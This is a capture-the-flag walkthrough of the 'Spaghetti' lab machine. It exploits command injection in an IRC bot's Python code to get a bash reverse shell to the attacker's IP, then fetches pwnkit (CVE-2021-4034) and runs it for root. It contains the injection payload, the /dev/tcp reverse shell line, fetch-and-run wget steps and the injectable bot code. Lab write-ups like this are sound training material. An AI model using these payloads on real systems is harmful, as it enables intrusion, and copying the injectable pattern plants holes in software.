Summary #
There is a IRC server running on port 6667. By sending a message to a spaghetti_BoT
, we get a URL with the source code of the bot. Analyzing the code we can get code execution and a reverse shell as the hostmaster
user. Once on the target we see that it’s vulnerable for pwnkit (CVE-2021-4034). Using this exploit we escalate our privileges to the root
user.
Specifications #
- Name: SPAGHETTI
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux spaghetti.lan 5.4.0-66-generic #74-Ubuntu SMP Wed Jan 27 22:54:38 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.117.160
- OFFSEC provided credentials: None
- HASH:
local.txt
:36189aabaf0a19f5252c6e2c425118d8
- HASH:
proof.txt
:8af3c9e565a39b1bab511cf4c5b684c0
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir spaghetti && cd spaghetti && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 19 08:47 .
drwxrwxr-x 71 kali kali 4096 Sep 19 08:47 ..
drwxrwxr-x 2 kali kali 4096 Sep 19 08:47 enum
drwxrwxr-x 2 kali kali 4096 Sep 19 08:47 exploits
drwxrwxr-x 2 kali kali 4096 Sep 19 08:47 files
drwxrwxr-x 2 kali kali 4096 Sep 19 08:47 tools
drwxrwxr-x 2 kali kali 4096 Sep 19 08:47 uploads
## set bash variable
ip=192.168.117.160
## ping target to check if it's online
ping $ip
PING 192.168.117.160 (192.168.117.160) 56(84) bytes of data.
64 bytes from 192.168.117.160: icmp_seq=1 ttl=61 time=18.8 ms
64 bytes from 192.168.117.160: icmp_seq=2 ttl=61 time=18.6 ms
^C
--- 192.168.117.160 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.606/18.711/18.816/0.105 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.117.160:22
Open 192.168.117.160:25
Open 192.168.117.160:80
Open 192.168.117.160:6667
Open 192.168.117.160:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 08:48 CEST
Initiating Ping Scan at 08:48
Scanning 192.168.117.160 [4 ports]
Completed Ping Scan at 08:48, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:48
Completed Parallel DNS resolution of 1 host. at 08:48, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:48
Scanning 192.168.117.160 [5 ports]
Discovered open port 22/tcp on 192.168.117.160
Discovered open port 8080/tcp on 192.168.117.160
Discovered open port 25/tcp on 192.168.117.160
Discovered open port 80/tcp on 192.168.117.160
Discovered open port 6667/tcp on 192.168.117.160
Completed SYN Stealth Scan at 08:48, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.117.160
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-19 08:48:42 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
25/tcp open smtp syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6667/tcp open irc syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
25/tcp open smtp syn-ack ttl 61
80/tcp open http syn-ack ttl 61
6667/tcp open irc syn-ack ttl 61
8080/tcp open http-proxy syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,25,80,6667,8080
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,25,80,6667,8080 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
| 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML
25/tcp open smtp syn-ack ttl 61 Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Issuer: commonName=spaghetti.lan
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-03-09T11:39:07
| Not valid after: 2031-03-07T11:39:07
| MD5: 021b:1475:a2af:c8b2:b5bb:4c33:0a0b:353c
| SHA-1: 1f9f:abf1:1942:be28:ba4a:05be:98a3:a495:9593:da1b
| -----BEGIN CERTIFICATE-----
| MIIC5TCCAc2gAwIBAgIUSPOv3z5P8X13Fxv2dwnAZ186mvYwDQYJKoZIhvcNAQEL
| BQAwGDEWMBQGA1UEAwwNc3BhZ2hldHRpLmxhbjAeFw0yMTAzMDkxMTM5MDdaFw0z
| MTAzMDcxMTM5MDdaMBgxFjAUBgNVBAMMDXNwYWdoZXR0aS5sYW4wggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3KMOBn7ah1I4YK+x0qqlq1dFrSG+bobbx
| bfPo9FwHmrTxvQ8LdlZW04m9jGGR4kUqHVLNZYmf8LCOomGn9lT6dO8Lvl5eb2XP
| ZKzgLiIy2OnyJXEoszIf/le1wjR5xXITmfSWZhtdjWZ2fnkquqH6hWeENtyDV4r8
| 0AYIKCKmPvx1oNt6JUEVQQF+q2GgOp6cdKtAEKDfts3eWxHeixZSRcgJQzuP5VyS
| PNk+M1Mhc+V6wJUPxvcRHMbRS4XYNfRr3XEoTCpfLIxcUgJxDxhLkdjmp4vLNrK1
| yVmiRVebSgCTWKbp5wt3eX4wSfzOhYgZXIr+kxUR/1yQ781M5KQdAgMBAAGjJzAl
| MAkGA1UdEwQCMAAwGAYDVR0RBBEwD4INc3BhZ2hldHRpLmxhbjANBgkqhkiG9w0B
| AQsFAAOCAQEAE3ONAEngp5gtG5uC13UqzQgpB+NBibrZqric3aLDk9mBDRv7IKbx
| Uc0jq7ypT3UWWyC/hH2h7zWAA3yjYXImW5N2nwr6ai2jjrY4TUnA2zeFxwJtFavE
| TQhwj8mN3aAZFENCms232pyx9Io3E8yq98QC0jIMnCTB2y506EEnnL4hCh1tszD6
| RayIEeqbjT1X3XjiozsVw6+UoiW/6MQK6SqQqvKw+6VC/NDGXwSH+sQvXTRuJD4k
| NxySIn0Z61vSrJQ9Fyb4bfXtT90DuHxSVdiYLF+kIiL9pJkFSWq0L/U+F58SKLQO
| y9pjepRDkI9vPPrSjqzWvC0iFEFrH58EQQ==
|_-----END CERTIFICATE-----
80/tcp open http syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
| http-methods:
|_ Supported Methods: GET HEAD
6667/tcp open irc syn-ack ttl 61
| irc-info:
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| server: irc.spaghetti.lan
| version: InspIRCd-3. irc.spaghetti.lan
| source ident: nmap
| source host: 192.168.45.189
|_ error: Closing link: (nmap@192.168.45.189) [Client exited]
8080/tcp open http syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Postfix Admin - 192.168.117.160:8080
|_Requested resource was login.php
Service Info: Hosts: spaghetti.lan, irc.spaghetti.lan; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
| http-methods:
|_ Supported Methods: GET HEAD
6667/tcp open irc syn-ack ttl 61
| irc-info:
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| server: irc.spaghetti.lan
| version: InspIRCd-3. irc.spaghetti.lan
| source ident: nmap
| source host: 192.168.45.189
|_ error: Closing link: (nmap@192.168.45.189) [Client exited]
On port 80 there is a website called spaghetti
with a reference at the bottom of the page irc.spaghetti.lan
and #mailAssistant
.

We also found IRC with the NMAP scan on port 6667. Let’s see if we can login. Indeed, we can login. Using the list
command (https://conshell.net/wiki/IRC_cheatsheet) we can print channel names and channel banner. There is a channel called: #mailAssistant
, we already saw on the web page. Joining this channel and sending a message we see there is a user called: spaghetti_BoT
. Sending a message to this user with !command
should give us a list of commands. Sending this message gives us the !about
.
## connect to the IRC port 6667
nc -vn $ip 6667
(UNKNOWN) [192.168.117.160] 6667 (ircd) open
:irc.spaghetti.lan NOTICE * :*** Looking up your hostname...
:irc.spaghetti.lan NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.45.189) instead.
## enter username and nickname
USER hekk 0 * hekk
NICK hekk
## response IRC server
:irc.spaghetti.lan 001 hekk :Welcome to the Localnet IRC Network hekk!hekk@192.168.45.189
:irc.spaghetti.lan 002 hekk :Your host is irc.spaghetti.lan, running version InspIRCd-3
:irc.spaghetti.lan 003 hekk :This server was created 03:43:51 Aug 03 2024
:irc.spaghetti.lan 004 hekk irc.spaghetti.lan InspIRCd-3 iosw biklmnopstv :bklov
:irc.spaghetti.lan 005 hekk AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.spaghetti.lan 005 hekk MAXTARGETS=20 MODES=20 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 WHOX :are supported by this server
:irc.spaghetti.lan 251 hekk :There are 1 users and 0 invisible on 1 servers
:irc.spaghetti.lan 253 hekk 1 :unknown connections
:irc.spaghetti.lan 254 hekk 1 :channels formed
:irc.spaghetti.lan 255 hekk :I have 1 clients and 0 servers
:irc.spaghetti.lan 265 hekk :Current local users: 1 Max: 2
:irc.spaghetti.lan 266 hekk :Current global users: 1 Max: 2
:irc.spaghetti.lan 375 hekk :irc.spaghetti.lan message of the day
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- * H E L L O *
:irc.spaghetti.lan 372 hekk :- * This is a private irc server. Please contact *
:irc.spaghetti.lan 372 hekk :- * the admin of the server for any questions or *
:irc.spaghetti.lan 372 hekk :- * issues. *
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- * The software was provided as a package of *
:irc.spaghetti.lan 372 hekk :- * Debian GNU/Linux <https://www.debian.org/>. *
:irc.spaghetti.lan 372 hekk :- * However, Debian has no control over this *
:irc.spaghetti.lan 372 hekk :- * server. *
:irc.spaghetti.lan 372 hekk :- **************************************************
:irc.spaghetti.lan 372 hekk :- (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.spaghetti.lan 376 hekk :End of message of the day.
## print available channels
list
:irc.spaghetti.lan 321 hekk Channel :Users Name
:irc.spaghetti.lan 322 hekk #mailAssistant 1 :[+nt]
:irc.spaghetti.lan 323 hekk :End of channel list.
## join the `#mailAssistant` channel
:hekk!hekk@192.168.45.189 JOIN :#mailAssistant
:irc.spaghetti.lan 353 hekk = #mailAssistant :@spaghetti_BoT hekk
:irc.spaghetti.lan 366 hekk #mailAssistant :End of /NAMES list.
## send message in the channel
privmsg #mailAssistant hello
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG #mailAssistant :Hello! I'm a spaghetti assistant BoT, please DM me with !command for a list of command.
## send a message to `spaghetti_BoT` with !command
privmsg spaghetti_BoT !command
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :**************************************************************************
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Use: !about , for information.
## send a message to `spaghetti_BoT` with !about
privmsg spaghetti_BoT !about
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :PyBot is developed and maintained by spaghettimail teams.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :For more info and released versions use link below.
:spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot
Using the !about
gives us a link to a URL: https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot
. Below is the Python code shown in this link.
#!/usr/bin/python3
from irc_class import *
import os
import random
import subprocess
import re
def send_message (recipient, subject, body):
cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient)
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
regex = "^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}\$"
def check(email):
if(re.search(regex,email)):
return True
else:
return False
## IRC Config
server = "YourServer" # Provide a valid server IP/Hostname
port = 6667 # Provide a port
channel = "YourChannell" # change this
botnick = "BotName" # change this
botnickpass = "YourBotNickPass" # change this
botpass = "YourBotPass" # change this
irc = IRC()
irc.connect(server, port, channel, botnick, botpass, botnickpass)
recipient = "YourEmail" # change this
while True:
text = irc.get_response()
print(text)
if "PRIVMSG" in text:
user = text.split('!',1)[0][1:]
channel = text.split('PRIVMSG',1)[1].split(':',1)[0] or ''
userMessage = text.split('PRIVMSG',1)[1].split(':',1)[1] or ''
if "PRIVMSG" in text and "#" in text and "hello" in text:
irc.send(channel, user, "Hello! I'm a xxxxxxxxx BoT, please DM me with command for a list of command.")
if "PRIVMSG" in text and "#" not in text and "command" in text:
irc.send(channel, user, "Please if you have any problems with your email, use: <email:your_email> <description:problem_description>. You will be contacted as soon as possible and mail will be sent to the administrator. Thank you.")
irc.send(channel, user, "Use: about, for information.")
if "PRIVMSG" in text and "#" not in text and "about" in text:
irc.send("Put here your message")
if "PRIVMSG" in text and "email" in text and "description" in text:
email = text.split("email",1)[1].split(":",1)[1].split()[0]
if check(email) == True:
description = text.split("description",1)[1].split(":",1)[1]
body = description.rstrip()
subject = "email from {}".format(email)
send_message (recipient, subject, body)
irc.send(channel, user, "Email sent to administrator. Thank you.")
else:
irc.send(channel, user, "Please insert a valid mail address !")
In this code we can see the different commands, but also a new one with email
and description
. The email
value should be an email address checked by the check
function. Nothing there, but the description
command input is part of the send_message
function (last parameter) because it is mapped to body
. In this function the subprocess.Popen function, from Python’s subprocess module is to execute the shell command stored in cmd
. The string cmd
uses echo to output the body of the email, which is piped (|) into the mail command. However, this can lead to command injection. Using this knowledge, we can get a reverse shell as the hostmaster
user in the /home/hostmaster
directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## send the reverse shell command
privmsg spaghetti_BoT email:kali@kali.lan description:;/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/9001 0>&1' :spaghetti_BoT!spaghetti_@127.0.0.1 PRIVMSG hekk :Email sent to administrator. Thank you.
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
email:kali@kali.lan description:;/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.189/80 0>&1'connect to [192.168.45.189] from (UNKNOWN) [192.168.117.160] 56786
bash: cannot set terminal process group (1987): Inappropriate ioctl for device
bash: no job control in this shell
hostmaster@spaghetti:~$
The shell we have isn’t stable so, let’s get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
hostmaster@spaghetti:~$ export TERM=xterm && stty columns 200 rows 200
## print the current user
hostmaster@spaghetti:~$ whoami
hostmaster
## print the current working directory
hostmaster@spaghetti:~$ pwd
/home/hostmaster
## find `local.txt` on the filesystem
hostmaster@spaghetti:~$ find / -iname 'local.txt' 2>/dev/null
/home/hostmaster/local.txt
## print `local.txt`
hostmaster@spaghetti:~$ cat /home/hostmaster/local.txt
36189aabaf0a19f5252c6e2c425118d8
Privilege Escalation #
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 80
## on target
## download `linpeas.sh`
hostmaster@spaghetti:~$ wget http://192.168.45.189/linpeas.sh
--2025-09-19 15:07:57-- http://192.168.45.189/linpeas.sh Connecting to 192.168.45.189:80... connected. HTTP request sent, awaiting response... 200 OK Length: 961834 (939K) [text/x-sh] Saving to: ‘linpeas.sh’
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 4.93MB/s in 0.2s 2025-09-19 15:07:58 (4.93 MB/s) - ‘linpeas.sh’ saved [961834/961834]
## set the execution bit
hostmaster@spaghetti:~$ chmod +x linpeas.sh
## run `linpeas.sh`
hostmaster@spaghetti:~$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root
.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189
## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target:
## download `pwnkit`
hostmaster@spaghetti:~$ wget http://192.168.45.189/pwnkit
--2025-09-19 15:32:26-- http://192.168.45.189/pwnkit
Connecting to 192.168.45.189:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: ‘pwnkit’
pwnkit 0%[ pwnkit 100%[=============================================================================================================>] 17.62K --.-KB/s in 0.02s
2025-09-19 15:32:26 (844 KB/s) - ‘pwnkit’ saved [18040/18040]
## set execution bit on `pwnkit`
hostmaster@spaghetti:~$ chmod +x pwnkit
## execute `pwnkit`
hostmaster@spaghetti:~$ ./pwnkit
root@spaghetti:/home/hostmaster#
## print `proof.txt`
root@spaghetti:/home/hostmaster# cat /root/proof.txt
8af3c9e565a39b1bab511cf4c5b684c0
References #
[+] https://conshell.net/wiki/IRC_cheatsheet
[+] https://github.com/9b61f9c243d4e87b2c95aa27b9e9e1db/PyBot
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh